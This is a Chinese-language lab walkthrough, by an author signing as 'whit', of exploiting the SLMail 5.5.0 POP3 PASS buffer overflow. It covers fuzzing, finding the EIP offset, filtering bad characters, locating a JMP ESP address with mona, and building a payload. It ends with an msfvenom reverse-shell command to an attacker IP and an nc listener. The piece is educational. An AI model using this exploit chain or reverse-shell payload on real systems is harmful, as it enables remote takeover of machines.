作者-whit
基本概念与环境搭建
缓冲区溢出:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被填满从而覆盖了相邻内存区域的数据。可以修改内存数据,造成进程劫持,执行恶意代码,获取服务器控制权限等。
在Windows XP或2k3 server中的SLMail 5.5.0 Mail Server程序的POP3 PASS命令存在缓冲区溢出漏洞,无需身份验证实现远程代码执行。
注意,Win7以上系统的防范机制可有效防止该缓冲区漏洞的利用:DEP。阻止代码从数据页被执行;ASLR,随机内存地址加载执行程序和DLL,每次重启地址变化。
环境准备:SLMail 5.5.0 Mail Server,ImmunityDebugger,mona.py,windos和linux系统
下载地址:
slmail http://slmail.software.informer.com/5.5/
mona.py https://github.com/corelan/mona
immunity debugger https://www.immunityinc.com/products/debugger/
安装好环境之后,确认SLMail的服务是否正常开启:
再确认一下SLMail的110端口是否正常开启:
然后第一步先把下载的mona模块放入ImmunityDebugger安装目录下的PyCommands下,如我的目录:C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands
在Linux系统,我的是安装的kali,ping一下windows,看能不能ping通。
windows:
如果ping不通,请关闭防火墙:
之后,在kali这边链接一下110端口,看能否链接,看到如下显示就可以。
windows电脑上通过管理员权限启动Immunity Debugger,点击file,然后attach选择SLmail进程。点击Attach开始调试。
右下角显示running即可。
POP3崩溃模糊测试:
可在https://github.com/jessekurrus/slmailsploits收集到测试相关的脚本:fuzzer.py,模糊测试,崩溃的大概字符数量。
windows系统调试的slmail右下角显示paused,kali机器停留在2900个字符。EIP中的41是十六进制数,转换为字母就是A,也就是说此时EIP寄存器全部填满了A,ESP寄存器也被填满了A,每四个字节为一个存储单元进行存储,
EIP就是当前邮件服务器SLmail下一个需要执行的指令的内存地址,所发送的A把下一条指令的内存地址给覆盖了,发生了缓冲区溢出。此时cpu会到EIP所在的内存地址中寻找指令代码,而该指令内存已被A全部覆盖,此时程序就会奔溃无法继续运行。
漏洞利用:可以用shellcode填充EIP寄存器地址,这样就可能控制目标机器。
注意:每次测试完都会导致邮件服务奔溃,因此需要每次实验前都需要重新启动SLmail服务。
# 通过调试工具查看是否异常?【静态调试(汇编)、动态调试(正在运行的进程:attach)】
110端口【SLmail】:netstat -nao【查看系统进程的PID和端口等信息】
# 重点关注寄存器
# ESP:当ESP中输入数据过多,将会把EIP的内存地址覆盖
# EIP:下一跳指令的内存地址,若下一跳指令被修改,则可执行某一地址空间,运行shellcode
可通过服务列表刷新之后看到服务已停止,重启启动即可。
然后重新打开Immunity Debugger,选中slmail进程,开启调试。
寻找精确溢出的字符位置
直接使用kaili的工具确定唯一字符:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2900
生成2900个唯一字符。
替换poc.py里的pattern参数。
再次执行脚本:
windows调试进程暂停,可以看到,EIP寄存器的值为39694438。
由于内存地址和通常人们书写的顺序是相反的,即内存低地址放在高位、内存高地址放在低位,因而要将该值调换一下顺序编程我们所认知的顺序表示:
先分割:39 69 44 38,再调换顺序:38 44 69 39,然后查看ASCII码表可知其代表:8Di9
通过kali自带工具可确定准确的字符位置为2606:/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438
可通过poc2脚本来验证是否准确:
运行脚本之后,调试的进程显示如下,满足预先计算的结果,则可验证字符位置是正确的,可以看到,EIP寄存器的数据即是脚本中buffer中设置的4个B(ASCII的Hex值为42),而ESP寄存器存放的正是脚本中buffer的4个B后面的20个C,这里将为我们添加shellcode提供了可能性。
筛选坏字符:
值得注意的是,不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定的用途(返回地址、shellcode、buffer中都不能出现坏字符):
1、NULL byte(0x00)空字符,用于终止字符串的拷贝操作
2、return(0x0D)回车操作,表示POP3 PASS命令输入完成
思路:发送0x00——0xff 256个字符,查找所有坏字符
利用poc3.py脚本即可实现:
发送坏字符之后,点击esp,右键follow in dump。
查看坏字符顺序,如果某个顺序不对,坏字符就是不对的那个字符。比如下图坏字符为0a,在脚本内删除0a,之后再次运行进程,再次发送,查看后续是否恢复正常。
再次发送之后可观察到后续已经恢复正常顺序,按照这个思路一直查找坏字符,直到ff为止。
最终找到的坏字符为:0A、0D、00
修改EIP指向ESP:
在内存中寻找地址固定的系统模块;
在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode;
mona.py脚本识别内存模块,搜索“return address”是JMP ESP指令的模块;
寻找无DEP、ALSR保护的内存地址;
内存地址不包含坏字符。
!mona modules
关键看表中的5列:Rebase、SafeSEH、ASLR、NXCompat、OS Dll
其中Rebase表示重启后是否会改变地址、False即不改变;SafeSEH、ASLR、NXCompat这三项都是Windows相关的安全机制;OS Dll表示是否是OS自带的库。即前四列选False,最后一列选True。
所以可以挑出上图选中的那些模块逐一尝试,然后进一步确认其是否有JMP ESP指令。
先将汇编指令“jmp esp”转换成十六进制的ASCII码:
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
接着输入命令查看第一个模块是否含有jmp esp指令:
!mona find -s “\xff\xe4” -m Openc32.dll
没找到之后下一个:
如图,第一个就是我们要的地址 5F4A358F
将该EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器的数值,将跳转到shellcode代码段并执行。
achars = 'A'*2606
#JMP ESP address is 5F4A358F
jmpesp = '\x8f\x35\x4a\x5f'
#NOP Sled
nops = '\x90'*16
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.126 LPORT=53 -f python -b \x00\x0a\x0d\
msf生成的shellcode。
kali本地通过nc -lvp 53监听端口。windows开启调试,然后kali运行构造好的脚本。反弹shell成功。
这个漏洞很老,适合新手学习,整个过程需要反复的验证可靠性,不失为一个经典溢出案例。